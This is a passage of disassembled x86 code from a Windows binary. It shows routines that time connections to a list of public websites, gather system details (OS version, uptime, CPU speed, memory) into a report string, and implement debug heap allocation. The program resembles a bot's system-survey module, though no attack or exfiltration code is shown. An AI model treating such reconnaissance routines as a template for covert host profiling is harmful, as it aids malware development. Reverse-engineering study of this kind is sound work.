[ebp+var_48], offset aWww_above_net ; "www.above.net" mov [ebp+var_44], offset aWww_easynews_c ; "www.easynews.com" mov [ebp+var_40], offset aWww_google_com ; "www.google.com" mov [ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw" mov [ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp" mov [ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com" mov [ebp+var_10], offset aWww_nifty_com ; "www.nifty.com" mov [ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp" mov [ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp" call sub_4183EC push [ebp+eax*4+var_3C] call sub_418406 push 8 mov esi, eax call sub_4183EC push [ebp+eax*4+var_3C] call sub_418406 add esp, 10h test esi, esi jz short loc_4186E2 test eax, eax jz short loc_4186DE lea ebx, [eax+esi] shr ebx, 1 jmp short loc_4186E4 ; --------------------------------------------------------------------------- loc_4186DE: ; CODE XREF: sub_4185E1+F4j mov ebx, esi jmp short loc_4186E4 ; --------------------------------------------------------------------------- loc_4186E2: ; CODE XREF: sub_4185E1+F0j mov ebx, eax loc_4186E4: ; CODE XREF: sub_4185E1+FBj ; sub_4185E1+FFj push 0Ch call sub_4183EC push [ebp+eax*4+var_6C] call sub_418406 push 0Ch mov edi, eax call sub_4183EC push [ebp+eax*4+var_6C] call sub_418406 add esp, 10h test edi, edi jz short loc_41871C test eax, eax jz short loc_418718 lea esi, [eax+edi] shr esi, 1 jmp short loc_41871E ; --------------------------------------------------------------------------- loc_418718: ; CODE XREF: sub_4185E1+12Ej mov esi, edi jmp short loc_41871E ; --------------------------------------------------------------------------- loc_41871C: ; CODE XREF: sub_4185E1+12Aj mov esi, eax loc_41871E: ; CODE XREF: sub_4185E1+135j ; sub_4185E1+139j push 6 call sub_4183EC push [ebp+eax*4+var_1C] call sub_418406 push 6 mov edi, eax call sub_4183EC push [ebp+eax*4+var_1C] call sub_418406 add esp, 10h test edi, edi jz short loc_418756 test eax, eax jz short loc_418752 lea ecx, [eax+edi] shr ecx, 1 jmp short loc_418758 ; --------------------------------------------------------------------------- loc_418752: ; CODE XREF: sub_4185E1+168j mov ecx, edi jmp short loc_418758 ; --------------------------------------------------------------------------- loc_418756: ; CODE XREF: sub_4185E1+164j mov ecx, eax loc_418758: ; CODE XREF: sub_4185E1+16Fj ; sub_4185E1+173j xor eax, eax test ebx, ebx jz short loc_418765 mov edi, [ebp+var_4] mov eax, ebx jmp short loc_418768 ; --------------------------------------------------------------------------- loc_418765: ; CODE XREF: sub_4185E1+17Bj push 2 pop edi loc_418768: ; CODE XREF: sub_4185E1+182j test esi, esi jz short loc_418770 add eax, esi jmp short loc_418771 ; --------------------------------------------------------------------------- loc_418770: ; CODE XREF: sub_4185E1+189j dec edi loc_418771: ; CODE XREF: sub_4185E1+18Dj test ecx, ecx jz short loc_418779 add eax, ecx jmp short loc_41877A ; --------------------------------------------------------------------------- loc_418779: ; CODE XREF: sub_4185E1+192j dec edi loc_41877A: ; CODE XREF: sub_4185E1+196j xor edx, edx div edi push eax push ecx push esi push ebx lea eax, [ebp+var_26C] push offset dword_450EB0 push eax call sub_41B740 push 0 lea eax, [ebp+var_26C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_408EB9 lea eax, [ebp+var_26C] push eax call sub_41458A add esp, 30h pop edi pop esi pop ebx leave retn sub_4185E1 endp ; =============== S U B R O U T I N E ======================================= sub_4187BE proc near ; CODE XREF: sub_401CC1+20D5p ; sub_401CC1+2559p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi call dword_4F1364 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov ebx, 15180h xor edx, edx mov esi, ebx mov edi, 0E10h mov ebp, edi push 3Ch mov ecx, eax sub ecx, [esp+14h+arg_0] mov eax, ecx div esi mov esi, edx xor edx, edx mov eax, esi div ebp pop ebp mov eax, edx xor edx, edx div ebp xor edx, edx push eax mov eax, esi div edi xor edx, edx mov esi, offset dword_4EF828 push eax mov eax, ecx div ebx push eax push offset dword_450F10 push 32h push esi call sub_41B910 add esp, 18h mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_4187BE endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 94h lea eax, [ebp-94h] push esi push eax xor esi, esi mov dword ptr [ebp-94h], 94h call dword_4F1384 ; GetVersionExA test eax, eax jz short loc_4188BA cmp dword ptr [ebp-90h], 4 jnz short loc_418890 cmp [ebp-8Ch], esi jnz short loc_418878 cmp dword ptr [ebp-84h], 1 jnz short loc_41886B push 1 pop esi loc_41886B: ; CODE XREF: .nsp0:00418866j cmp dword ptr [ebp-84h], 2 jnz short loc_4188BA push 1 jmp short loc_4188B9 ; --------------------------------------------------------------------------- loc_418878: ; CODE XREF: .nsp0:0041885Dj cmp dword ptr [ebp-8Ch], 0Ah jnz short loc_418885 loc_418881: ; CODE XREF: .nsp0:0041889Fj push 2 jmp short loc_4188B9 ; --------------------------------------------------------------------------- loc_418885: ; CODE XREF: .nsp0:0041887Fj cmp dword ptr [ebp-8Ch], 5Ah jnz short loc_4188BA jmp short loc_4188AA ; --------------------------------------------------------------------------- loc_418890: ; CODE XREF: .nsp0:00418855j cmp dword ptr [ebp-90h], 5 jnz short loc_4188BA cmp [ebp-8Ch], esi jz short loc_418881 cmp dword ptr [ebp-8Ch], 1 jnz short loc_4188AE loc_4188AA: ; CODE XREF: .nsp0:0041888Ej push 3 jmp short loc_4188B9 ; --------------------------------------------------------------------------- loc_4188AE: ; CODE XREF: .nsp0:004188A8j cmp dword ptr [ebp-8Ch], 2 jnz short loc_4188BA push 7 loc_4188B9: ; CODE XREF: .nsp0:00418876j ; .nsp0:00418883j ... pop esi loc_4188BA: ; CODE XREF: .nsp0:0041884Cj ; .nsp0:00418872j ... mov eax, esi pop esi leave retn ; =============== S U B R O U T I N E ======================================= sub_4188BF proc near ; CODE XREF: sub_41897B+290p push ebx push esi push edi mov esi, 0F4240h loc_4188C7: ; CODE XREF: sub_4188BF+35j ; sub_4188BF+3Bj call sub_418CF8 push 3E8h mov edi, eax mov ebx, edx call dword_4F1334 ; Sleep call sub_418CF8 sub eax, edi push 0 sbb edx, ebx push esi push edx push eax call sub_41DF00 mov edi, edx mov ebx, eax test edi, edi ja short loc_4188C7 jb short loc_4188FC cmp ebx, esi ja short loc_4188C7 loc_4188FC: ; CODE XREF: sub_4188BF+37j push 0 push 64h push edi push ebx call sub_41DF70 mov ecx, edx push 64h xor edx, edx mov esi, eax test ecx, ecx pop eax ja short loc_41896F jb short loc_41891B cmp esi, 50h jnb short loc_418920 loc_41891B: ; CODE XREF: sub_4188BF+55j push 4Bh xor edx, edx pop eax loc_418920: ; CODE XREF: sub_4188BF+5Aj test ecx, ecx ja short loc_41896F jb short loc_41892B cmp esi, 47h jnb short loc_418930 loc_41892B: ; CODE XREF: sub_4188BF+65j push 42h xor edx, edx pop eax loc_418930: ; CODE XREF: sub_4188BF+6Aj test ecx, ecx ja short loc_41896F jb short loc_41893B cmp esi, 37h jnb short loc_418940 loc_41893B: ; CODE XREF: sub_4188BF+75j push 32h xor edx, edx pop eax loc_418940: ; CODE XREF: sub_4188BF+7Aj test ecx, ecx ja short loc_41896F jb short loc_41894B cmp esi, 26h jnb short loc_418950 loc_41894B: ; CODE XREF: sub_4188BF+85j push 21h xor edx, edx pop eax loc_418950: ; CODE XREF: sub_4188BF+8Aj test ecx, ecx ja short loc_41896F jb short loc_41895B cmp esi, 1Eh jnb short loc_418960 loc_41895B: ; CODE XREF: sub_4188BF+95j push 19h xor edx, edx pop eax loc_418960: ; CODE XREF: sub_4188BF+9Aj test ecx, ecx ja short loc_41896F jb short loc_41896B cmp esi, 0Ah jnb short loc_41896F loc_41896B: ; CODE XREF: sub_4188BF+A5j xor eax, eax xor edx, edx loc_41896F: ; CODE XREF: sub_4188BF+53j ; sub_4188BF+63j ... sub eax, esi sbb edx, ecx add eax, ebx adc edx, edi pop edi pop esi pop ebx retn sub_4188BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41897B proc near ; CODE XREF: sub_401CC1+22ABp var_7E8 = byte ptr -7E8h var_668 = byte ptr -668h var_5E8 = byte ptr -5E8h var_568 = byte ptr -568h var_4E8 = byte ptr -4E8h var_3E4 = byte ptr -3E4h var_2E8 = byte ptr -2E8h var_25C = word ptr -25Ch var_25A = byte ptr -25Ah var_15C = byte ptr -15Ch var_114 = byte ptr -114h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = byte ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7E8h push ebx push esi lea eax, [ebp+var_CC] push edi push eax mov [ebp+var_4], offset dword_4EF860 mov [ebp+var_CC], 94h call dword_4F1384 ; GetVersionExA xor ebx, ebx cmp [ebp+var_C8], 4 jnz short loc_418A02 cmp [ebp+var_C4], ebx jnz short loc_4189DE cmp [ebp+var_BC], 1 jnz short loc_4189C8 mov [ebp+var_4], offset dword_450F1C loc_4189C8: ; CODE XREF: sub_41897B+44j cmp [ebp+var_BC], 2 jnz loc_418A7D mov [ebp+var_4], offset dword_450F20 jmp short loc_418A4E ; --------------------------------------------------------------------------- loc_4189DE: ; CODE XREF: sub_41897B+3Bj cmp [ebp+var_C4], 0Ah jnz short loc_4189F0 mov [ebp+var_4], offset dword_450F24 jmp short loc_418A45 ; --------------------------------------------------------------------------- loc_4189F0: ; CODE XREF: sub_41897B+6Aj cmp [ebp+var_C4], 5Ah jnz short loc_418A3E mov [ebp+var_4], offset dword_450F28 jmp short loc_418A45 ; --------------------------------------------------------------------------- loc_418A02: ; CODE XREF: sub_41897B+33j cmp [ebp+var_C8], 5 jnz short loc_418A3E cmp [ebp+var_C4], ebx jnz short loc_418A1C mov [ebp+var_4], offset dword_450F2C jmp short loc_418A45 ; --------------------------------------------------------------------------- loc_418A1C: ; CODE XREF: sub_41897B+96j cmp [ebp+var_C4], 1 jnz short loc_418A2E mov [ebp+var_4], offset dword_450F30 jmp short loc_418A45 ; --------------------------------------------------------------------------- loc_418A2E: ; CODE XREF: sub_41897B+A8j cmp [ebp+var_C4], 2 mov [ebp+var_4], offset a2003 ; "2003" jz short loc_418A45 loc_418A3E: ; CODE XREF: sub_41897B+7Cj ; sub_41897B+8Ej mov [ebp+var_4], offset a??? ; "???" loc_418A45: ; CODE XREF: sub_41897B+73j ; sub_41897B+85j ... cmp [ebp+var_BC], 2 jnz short loc_418A7D loc_418A4E: ; CODE XREF: sub_41897B+61j cmp [ebp+var_B8], bl jz short loc_418A7D lea eax, [ebp+var_B8] push eax lea eax, [ebp+var_2E8] push [ebp+var_4] push offset aSS_6 ; "%s (%s)" push eax call sub_41B740 lea eax, [ebp+var_2E8] add esp, 10h mov [ebp+var_4], eax loc_418A7D: ; CODE XREF: sub_41897B+54j ; sub_41897B+D1j ... mov ax, word_450F48 push 3Fh mov [ebp+var_25C], ax pop ecx xor eax, eax lea edi, [ebp+var_25A] rep stosd stosw mov eax, dword_4E0790 mov [ebp+var_C], 100h cmp eax, ebx jz short loc_418AB6 lea ecx, [ebp+var_C] push ecx lea ecx, [ebp+var_25C] push ecx call eax loc_418AB6: ; CODE XREF: sub_41897B+12Cj push [ebp+arg_4] call sub_40A019 pop ecx push eax call dword_4E08DC mov [ebp+var_8], eax push 2 lea eax, [ebp+var_8] push 4 push eax call dword_4E085C cmp eax, ebx jz short loc_418ADF push dword ptr [eax] jmp short loc_418AE4 ; --------------------------------------------------------------------------- loc_418ADF: ; CODE XREF: sub_41897B+15Ej push offset aCouldnTResolve ; "couldn't resolve host" loc_418AE4: ; CODE XREF: sub_41897B+162j lea eax, [ebp+var_3E4] push eax call sub_41B740 pop ecx lea eax, [ebp+var_4E8] pop ecx push 104h push eax call dword_4F1330 ; GetSystemDirectoryA lea eax, [ebp+var_114] push 46h push eax push offset aDdMmmYyyy ; "dd:MMM:yyyy" push ebx mov esi, 409h push ebx push esi call dword_4F13C0 ; GetDateFormatA lea eax, [ebp+var_15C] push 46h push eax push offset aHhMmSs_0 ; "HH:mm:ss" push ebx push ebx push esi call dword_4F13BC ; GetTimeFormatA push 20h lea eax, [ebp+var_38] push ebx push eax call sub_41B190 add esp, 0Ch lea eax, [ebp+var_38] push eax call dword_4F1434 ; GlobalMemoryStatus push ebx push ebx lea eax, [ebp+var_18] push ebx push eax lea eax, [ebp+var_4E8] push eax call sub_41BA10 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_7E8] push eax call sub_415056 push 60h mov esi, eax pop ecx lea edi, [ebp+var_7E8] rep movsd push 60h lea esi, [ebp+var_7E8] pop ecx lea edi, [ebp+var_668] rep movsd push ebx call sub_4187BE add esp, 20h push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_114] push eax lea eax, [ebp+var_25C] push eax push [ebp+arg_4] call sub_40A019 pop ecx push eax lea eax, [ebp+var_3E4] push eax lea eax, [ebp+var_4E8] push eax lea eax, [ebp+var_5E8] push [ebp+var_C0] push [ebp+var_C4] push [ebp+var_C8] push [ebp+var_4] push eax lea eax, [ebp+var_568] push eax mov eax, [ebp+var_2C] shr eax, 0Ah push ebx push eax call sub_414F46 pop ecx pop ecx push eax mov eax, [ebp+var_30] shr eax, 0Ah push ebx push eax call sub_414F46 pop ecx pop ecx push eax call sub_4188BF push edx push eax push offset dword_450F7C push 200h push [ebp+arg_0] call sub_41B910 mov eax, [ebp+arg_0] add esp, 50h pop edi pop esi pop ebx leave retn sub_41897B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418C2F proc near ; CODE XREF: sub_401CC1+22D9p ; sub_401CC1+6961p var_8C = byte ptr -8Ch var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8Ch push esi mov esi, 80h push esi lea eax, [ebp+var_8C] push 0 push eax call sub_41B190 add esp, 0Ch cmp dword_4E0984, 0 jnz short loc_418CA3 push 0 lea eax, [ebp+var_8C] push esi push eax lea eax, [ebp+var_C] push eax call dword_4E0778 test eax, eax jnz short loc_418C84 lea eax, [ebp+var_8C] push offset dword_451058 push eax call sub_41B740 pop ecx pop ecx loc_418C84: ; CODE XREF: sub_418C2F+40j test [ebp+var_C], 1 jz short loc_418C9C push offset dword_451068 loc_418C8F: ; CODE XREF: sub_418C2F+72j lea eax, [ebp+var_8] push eax call sub_41B740 pop ecx pop ecx jmp short loc_418CC5 ; --------------------------------------------------------------------------- loc_418C9C: ; CODE XREF: sub_418C2F+59j push offset off_451070 jmp short loc_418C8F ; --------------------------------------------------------------------------- loc_418CA3: ; CODE XREF: sub_418C2F+28j lea eax, [ebp+var_8] push offset off_451074 push eax call sub_41B740 lea eax, [ebp+var_8C] push offset off_451078 push eax call sub_41B740 add esp, 10h loc_418CC5: ; CODE XREF: sub_418C2F+6Bj push [ebp+arg_4] push [ebp+arg_8] call sub_40A019 pop ecx push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_8] push eax push offset dword_45107C push 200h push [ebp+arg_0] call sub_41B910 mov eax, [ebp+arg_0] add esp, 1Ch pop esi leave retn sub_418C2F endp ; =============== S U B R O U T I N E ======================================= sub_418CF8 proc near ; CODE XREF: sub_4188BF:loc_4188C7p ; sub_4188BF+1Cp rdtsc retn sub_418CF8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_418D00 proc near ; CODE XREF: sub_401000+34p ; .nsp0:004011F4p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_418D20 loc_418D0C: ; CODE XREF: sub_418D00+19j mov al, [ecx] inc ecx test al, al jz short loc_418D53 test ecx, 3 jnz short loc_418D0C add eax, 0 loc_418D20: ; CODE XREF: sub_418D00+Aj ; sub_418D00+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_418D20 mov eax, [ecx-4] test al, al jz short loc_418D71 test ah, ah jz short loc_418D67 test eax, 0FF0000h jz short loc_418D5D test eax, 0FF000000h jz short loc_418D53 jmp short loc_418D20 ; --------------------------------------------------------------------------- loc_418D53: ; CODE XREF: sub_418D00+11j ; sub_418D00+4Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_418D5D: ; CODE XREF: sub_418D00+48j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_418D67: ; CODE XREF: sub_418D00+41j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_418D71: ; CODE XREF: sub_418D00+3Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_418D00 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418D80 proc near ; CODE XREF: sub_4010AB+64p ; sub_401CC1+50ADp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov [ebp+var_4], 0FFFFFFFFh loc_418D8E: ; CODE XREF: sub_418D80+36j cmp [ebp+arg_0], 0 jnz short loc_418DB2 push offset dword_437504 push 0 push 3Ah push offset dword_4374F8 push 2 call sub_41EED0 add esp, 14h cmp eax, 1 jnz short loc_418DB2 int 3 ; Trap to Debugger loc_418DB2: ; CODE XREF: sub_418D80+12j ; sub_418D80+2Fj xor eax, eax test eax, eax jnz short loc_418D8E mov ecx, [ebp+arg_0] mov edx, [ecx+0Ch] and edx, 40h test edx, edx jz short loc_418DD1 mov eax, [ebp+arg_0] mov dword ptr [eax+0Ch], 0 jmp short loc_418DF8 ; --------------------------------------------------------------------------- loc_418DD1: ; CODE XREF: sub_418D80+43j mov ecx, [ebp+arg_0] push ecx call sub_41ECE0 add esp, 4 mov edx, [ebp+arg_0] push edx call sub_418E10 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_0] push eax call sub_41ED50 add esp, 4 loc_418DF8: ; CODE XREF: sub_418D80+4Fj mov eax, [ebp+var_4] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_418D80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418E10 proc near ; CODE XREF: sub_418D80+61p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov [ebp+var_4], 0FFFFFFFFh mov eax, [ebp+arg_0] mov [ebp+var_8], eax loc_418E26: ; CODE XREF: sub_418E10+3Ej cmp [ebp+arg_0], 0 jnz short loc_418E4A push offset dword_437514 push 0 push 77h push offset dword_4374F8 push 2 call sub_41EED0 add esp, 14h cmp eax, 1 jnz short loc_418E4A int 3 ; Trap to Debugger loc_418E4A: ; CODE XREF: sub_418E10+1Aj ; sub_418E10+37j xor ecx, ecx test ecx, ecx jnz short loc_418E26 mov edx, [ebp+var_8] mov eax, [edx+0Ch] and eax, 83h test eax, eax jz short loc_418EBA mov ecx, [ebp+var_8] push ecx call sub_41F7E0 add esp, 4 mov [ebp+var_4], eax mov edx, [ebp+var_8] push edx call sub_41F6A0 add esp, 4 mov eax, [ebp+var_8] mov ecx, [eax+10h] push ecx call sub_41F570 add esp, 4 test eax, eax jge short loc_418E96 mov [ebp+var_4], 0FFFFFFFFh jmp short loc_418EBA ; --------------------------------------------------------------------------- loc_418E96: ; CODE XREF: sub_418E10+7Bj mov edx, [ebp+var_8] cmp dword ptr [edx+1Ch], 0 jz short loc_418EBA push 2 mov eax, [ebp+var_8] mov ecx, [eax+1Ch] push ecx call sub_419980 add esp, 8 mov edx, [ebp+var_8] mov dword ptr [edx+1Ch], 0 loc_418EBA: ; CODE XREF: sub_418E10+4Dj ; sub_418E10+84j ... mov eax, [ebp+var_8] mov dword ptr [eax+0Ch], 0 mov eax, [ebp+var_4] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_418E10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418ED0 proc near ; CODE XREF: sub_4010AB+6p ; sub_409F35+63p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push 0 push 0 push 1 mov eax, dword_4EF8F4 push eax mov ecx, [ebp+arg_0] push ecx call sub_418F40 add esp, 14h pop ebp retn sub_418ED0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418EF0 proc near ; CODE XREF: sub_419300+20p ; sub_4193C0+26p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, dword_4EF8F4 push eax mov ecx, [ebp+arg_0] push ecx call sub_418F40 add esp, 14h pop ebp retn sub_418EF0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418F20 proc near ; CODE XREF: sub_41D910+9p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push 0 push 0 push 1 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_418F40 add esp, 14h pop ebp retn sub_418F20 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418F40 proc near ; CODE XREF: sub_418ED0+13p ; sub_418EF0+19p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx loc_418F44: ; CODE XREF: sub_418F40:loc_418F98j push 9 call sub_41FB40 add esp, 4 mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_0] push eax call sub_418FC0 add esp, 10h mov [ebp+var_4], eax push 9 call sub_41FBE0 add esp, 4 cmp [ebp+var_4], 0 jnz short loc_418F7F cmp [ebp+arg_4], 0 jnz short loc_418F84 loc_418F7F: ; CODE XREF: sub_418F40+37j mov eax, [ebp+var_4] jmp short loc_418F9A ; --------------------------------------------------------------------------- loc_418F84: ; CODE XREF: sub_418F40+3Dj mov ecx, [ebp+arg_0] push ecx call sub_41FA30 add esp, 4 test eax, eax jnz short loc_418F98 xor eax, eax jmp short loc_418F9A ; --------------------------------------------------------------------------- loc_418F98: ; CODE XREF: sub_418F40+52j jmp short loc_418F44 ; --------------------------------------------------------------------------- loc_418F9A: ; CODE XREF: sub_418F40+42j ; sub_418F40+56j mov esp, ebp pop ebp retn sub_418F40 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 0 push 0 push 1 mov eax, [ebp+8] push eax call sub_418FC0 add esp, 10h pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418FC0 proc near ; CODE XREF: sub_418F40+1Ep ; .nsp0:00418FADp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi mov [ebp+var_C], 0 mov eax, dword_4510C0 and eax, 4 test eax, eax jz short loc_41900C loc_418FDC: ; CODE XREF: sub_418FC0+4Aj call sub_41A090 test eax, eax jnz short loc_419006 push offset a_crtcheckmemor ; "_CrtCheckMemory()" push 0 push 141h push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41EED0 add esp, 14h cmp eax, 1 jnz short loc_419006 int 3 ; Trap to Debugger loc_419006: ; CODE XREF: sub_418FC0+23j ; sub_418FC0+43j xor ecx, ecx test ecx, ecx jnz short loc_418FDC loc_41900C: ; CODE XREF: sub_418FC0+1Aj mov edx, dword_4510C4 mov [ebp+var_8], edx mov eax, [ebp+var_8] cmp eax, dword_4510C8 jnz short loc_419021 int 3 ; Trap to Debugger loc_419021: ; CODE XREF: sub_418FC0+5Ej mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+var_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx push 0 push 1 call off_451490 add esp, 1Ch test eax, eax jnz short loc_4190A4 cmp [ebp+arg_8], 0 jz short loc_419077 loc_41904C: ; CODE XREF: sub_418FC0+B3j mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx push offset aClientHookAllo ; "Client hook allocation failure at file "... push 0 push 0 push 0 push 0 call sub_41EED0 add esp, 1Ch cmp eax, 1 jnz short loc_41906F int 3 ; Trap to Debugger loc_41906F: ; CODE XREF: sub_418FC0+ACj xor edx, edx test edx, edx jnz short loc_41904C jmp short loc_41909D ; --------------------------------------------------------------------------- loc_419077: ; CODE XREF: sub_418FC0+8Aj ; sub_418FC0+DBj push offset aClientHookAl_0 ; "Client hook allocation failure.\n" push offset aS_25 ; "%s" push 0 push 0 push 0 push 0 call sub_41EED0 add esp, 18h cmp eax, 1 jnz short loc_419097 int 3 ; Trap to Debugger loc_419097: ; CODE XREF: sub_418FC0+D4j xor eax, eax test eax, eax jnz short loc_419077 loc_41909D: ; CODE XREF: sub_418FC0+B5j xor eax, eax jmp loc_4192CC ; --------------------------------------------------------------------------- loc_4190A4: ; CODE XREF: sub_418FC0+84j mov ecx, [ebp+arg_4] and ecx, 0FFFFh cmp ecx, 2 jz short loc_4190C6 mov edx, dword_4510C0 and edx, 1 test edx, edx jnz short loc_4190C6 mov [ebp+var_C], 1 loc_4190C6: ; CODE XREF: sub_418FC0+F0j ; sub_418FC0+FDj cmp [ebp+arg_0], 0FFFFFFE0h ja short loc_4190D7 mov eax, [ebp+arg_0] add eax, 24h cmp eax, 0FFFFFFE0h jbe short loc_419103 loc_4190D7: ; CODE XREF: sub_418FC0+10Aj ; sub_418FC0+13Aj mov ecx, [ebp+arg_0] push ecx push offset aInvalidAllocat ; "Invalid allocation size: %u bytes.\n" push 0 push 0 push 0 push 1 call sub_41EED0 add esp, 18h cmp eax, 1 jnz short loc_4190F6 int 3 ; Trap to Debugger loc_4190F6: ; CODE XREF: sub_418FC0+133j xor edx, edx test edx, edx jnz short loc_4190D7 xor eax, eax jmp loc_4192CC ; --------------------------------------------------------------------------- loc_419103: ; CODE XREF: sub_418FC0+115j mov eax, [ebp+arg_4] and eax, 0FFFFh cmp eax, 4 jz short loc_419150 cmp [ebp+arg_4], 1 jz short loc_419150 mov ecx, [ebp+arg_4] and ecx, 0FFFFh cmp ecx, 2 jz short loc_419150 cmp [ebp+arg_4], 3 jz short loc_419150 loc_41912A: ; CODE XREF: sub_418FC0+18Ej push offset aErrorMemoryAll ; "Error: memory allocation: bad memory bl"... push offset aS_25 ; "%s" push 0 push 0 push 0 push 1 call sub_41EED0 add esp, 18h cmp eax, 1 jnz short loc_41914A int 3 ; Trap to Debugger loc_41914A: ; CODE XREF: sub_418FC0+187j xor edx, edx test edx, edx jnz short loc_41912A loc_419150: ; CODE XREF: sub_418FC0+14Ej ; sub_418FC0+154j ... mov eax, [ebp+arg_0] add eax, 24h mov [ebp+var_10], eax mov ecx, [ebp+var_10] push ecx call sub_41FCA0 add esp, 4 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_419175 xor eax, eax jmp loc_4192CC ; --------------------------------------------------------------------------- loc_419175: ; CODE XREF: sub_418FC0+1ACj mov edx, dword_4510C4 add edx, 1 mov dword_4510C4, edx cmp [ebp+var_C], 0 jz short loc_4191D3 mov eax, [ebp+var_4] mov dword ptr [eax], 0 mov ecx, [ebp+var_4] mov dword ptr [ecx+4], 0 mov edx, [ebp+var_4] mov dword ptr [edx+8], 0 mov eax, [ebp+var_4] mov dword ptr [eax+0Ch], 0FEDCBABCh mov ecx, [ebp+var_4] mov edx, [ebp+arg_0] mov [ecx+10h], edx mov eax, [ebp+var_4] mov dword ptr [eax+14h], 3 mov ecx, [ebp+var_4] mov dword ptr [ecx+18h], 0 jmp loc_419273 ; --------------------------------------------------------------------------- loc_4191D3: ; CODE XREF: sub_418FC0+1C8j mov edx, dword_4EF868 add edx, [ebp+arg_0] mov dword_4EF868, edx mov eax, dword_4EF870 add eax, [ebp+arg_0] mov dword_4EF870, eax mov ecx, dword_4EF870 cmp ecx, dword_4EF874 jbe short loc_419209 mov edx, dword_4EF870 mov dword_4EF874, edx loc_419209: ; CODE XREF: sub_418FC0+23Bj cmp dword_4EF86C, 0 jz short loc_41921F mov eax, dword_4EF86C mov ecx, [ebp+var_4] mov [eax+4], ecx jmp short loc_419228 ; --------------------------------------------------------------------------- loc_41921F: ; CODE XREF: sub_418FC0+250j mov edx, [ebp+var_4] mov dword_4EF864, edx loc_419228: ; CODE XREF: sub_418FC0+25Dj mov eax, [ebp+var_4] mov ecx, dword_4EF86C mov [eax], ecx mov edx, [ebp+var_4] mov dword ptr [edx+4], 0 mov eax, [ebp+var_4] mov ecx, [ebp+arg_8] mov [eax+8], 